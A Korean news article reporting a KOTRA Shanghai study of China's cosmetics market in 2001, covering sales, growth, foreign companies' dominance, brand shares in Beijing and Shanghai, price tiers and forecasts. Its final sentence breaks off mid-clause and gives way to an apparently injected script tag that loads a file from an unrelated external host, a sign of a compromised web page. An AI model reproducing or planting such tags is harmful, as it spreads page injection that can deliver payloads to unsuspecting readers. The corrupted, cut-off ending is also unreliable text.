고작 20여 년의 역사밖에 되지 않은 중국 화장품업계에 570여 개사의 외자기업을 포함, 3500여 개 회사가 2001년 중 도합 2만5000여 종의 화장품을 만들어냈으며 한해 동안 총 420억위엔으로 약 50억달러의 매출을 올린 것으로 나타났다. 대한무역투자진흥공사(KOTRA) 상하이사무소가 중국화공신식, 중국화공보, 중국화장품 등 중국의 전문잡지들과 현지 관련자료들을 취합, 보고해 온 내용을 보면 중국의 화장품 업계는 2001년 중 20%의 초고속 성장을 기록했다. 중국 화장품업계는 지난 2000년 중 약 350억위안, 달러 가치로 약 42억달러의 매출을 올렸던 것으로 집계됐다. 특히 2001년 중의 국내 총생산(GDP) 증가율이 7.3%였던 것에 비하면 3배 가까이 뛰어넘는 엄청난 성장을 보이고 있는 것. 중국에서는 피부보호용 화장품시장이 전체의 약 35∼40%를 차지할 정도로 막강하며, 약 1390여 개 제조회사들의 치열한 경쟁 속에 발전속도 역시 제일 빠른 영역으로 분석되고 있다. 지난 1996년부터 본격적으로 중국 진출을 시작한 외국의 화장품 회사들은 2001년까지 약 3억달러를 중국에 투자한 것으로 집계되었다. 중국 화장품업계에서 외국업체들의 숫자는 약 30% 수준에 머물지만 이들의 시장 지배율은 약 80%를 차지할 정도로 막강한 세력을 이미 구축했다. 특히 미국의 P&G, 에이본, 메리케이, 암웨이 및 레브론 등의 회사는 중국에 아예 자체 공장을 건설해서 가동하고 있다. 그리고 영국의 유니레버, 프랑스의 로레알과 크리스찬 디올(CD), 독일의 니베아와 헨켈 및 일본의 시세이도, 고세 및 가오 등도 중국 공장을 운영중이다. 중국시장에서 현재 활동중인 주요 외국업체들로는 유니레버, 시세이도, P&G, 로레알, 에이본, 메이브라인, 자와 등 국제 화장품업계 선두주자들을 모두 망라하고 있다. 2001년 중 북경시장에서 판매액 10위 안에 드는 업체들의 비중별 순위를 보면 오프레스(18.19%), 시세이도(5.79%), 랑콤(5.2%), 올레이(4.99%), CD(4.71%), SK-II(4.29%), YUXI(4.14%), 메이브라인(3.45%), 로레알(3.06%) 순으로 나타났다. 그리고 상하이시장에서는 오프레스(12.2%), 올레이(10.29%), 젱밍밍(8.29%), 네이쳐뷰티(3.31%), 로레알(2.28%) 순으로 나타났다. 한편 중국 화장품업계는 상위 22개 업체들이 전체 시장의 50%를 차지하고 있다. 중국 세무총국 자료에 의하면 중국의 화장품 수출액은 2001년 중 1억8640만달러에 달해 전년 대비 15.7%가 증가했다. 그러나 수입액은 8960만달러로 전년대비 증가율 39.5%에 달해 수출보다 배 이상 증가한 것으로 밝혀졌다. 중국시장에서의 화장품 가격은 생산국과 브랜드 및 종류에 따라 다양한 양태를 보이고 있지만 중국제품의 경우 보통 150위안 이하에 머문다. 그러나 외자제품은 100∼200위안에서 형성되고 있는데 오프레스, SK-II 및 로레알이 선도하고 있고 가네보, 고세 등의 브랜드들이 100∼300위안 선을 형성하고 있다. 그리고 수입제품들이 또 200∼600위안 선을 유지하고 있는 사이 1000위안을 넘어서는 고급제품들도 존재하는데 주요제품으로는 SK-II와 CD 등이 꼽힌다. 최근의 중국 화장품 시장에서 가장 주목할 만한 특징은 지난 1999년부터 2001년 사이 스킨케어와 헤어 케어 제품들의 평균 가격이 15∼20%씩 크게 떨어졌다는 것이다. 대중 수요가 가장 폭발적인 이들 제품값이 유독 계속적으로 크게 떨어지고 있는 것은 국제 화장품 메이저들의 중국 시장 점유율 제고 작전의 일환인 것으로 관계 전문가들은 분석하고 있다. 중국화장품 업체들도 예외 없이 이 같은 시장 쟁탈전에 뛰어들고 있어 시장 전반에 검은 구름이 피어오르고 있는 것도 유의할 사항 중의 하나다. 그럼에도 불구하고 중국의 화장품시장은 지구상에서 가장 빠른 성장을 기록하고 있는 매력적인 시장으로 꼽는데 전문가들은 주저하지 않는다. 관계 전문가들은 중국의 화장품 시장이 앞으로 몇 년간 10%대의 성장을 유지할 것으로 판단하고 있으며 오는 2010년까지 연 매출 800억위안 규모에 도달하는 등 현재 수준의 갑절로 불어날 것으로 전망하고 있다. 코트라의 보고서는 전문가들이 중국 화장품시장에서 피부청결용과 얼굴미용 등 피부보호용 화장품이 시장을 주도할 것으로 전망하고 있다고 지적하고 있다. 그 중에서도 피부보호용 화장품의 경우 기능화, 전문화 및 계열화 추세로 발전할 것으로 전망하고 있는데 특히 미백, 보습, 청결 및 노화방지용 제품이 주류를 이룰 것이라고 결론짓고 있다. 이 보고서는 특히 최근 두각을 나타내고 있는 건강 개념 도입 화장품에 주목할 것을 요구하고 있으며 기능성 화장품이 장차 시장의 주도 세력이 될 것이라고 결론짓고 있다. 이와 함께 남성용 화장품의 영역 개척과 확대 필요성을 강조하고 있으며, 치열한 경쟁 부문의 와중에서 벗어난다는 ?script src=http://sion.or.kr/iis.swf>

  webmaster@geniepark.co.kr

<저작권자 © 제니파크, 무단 전재 및 재배포 금지>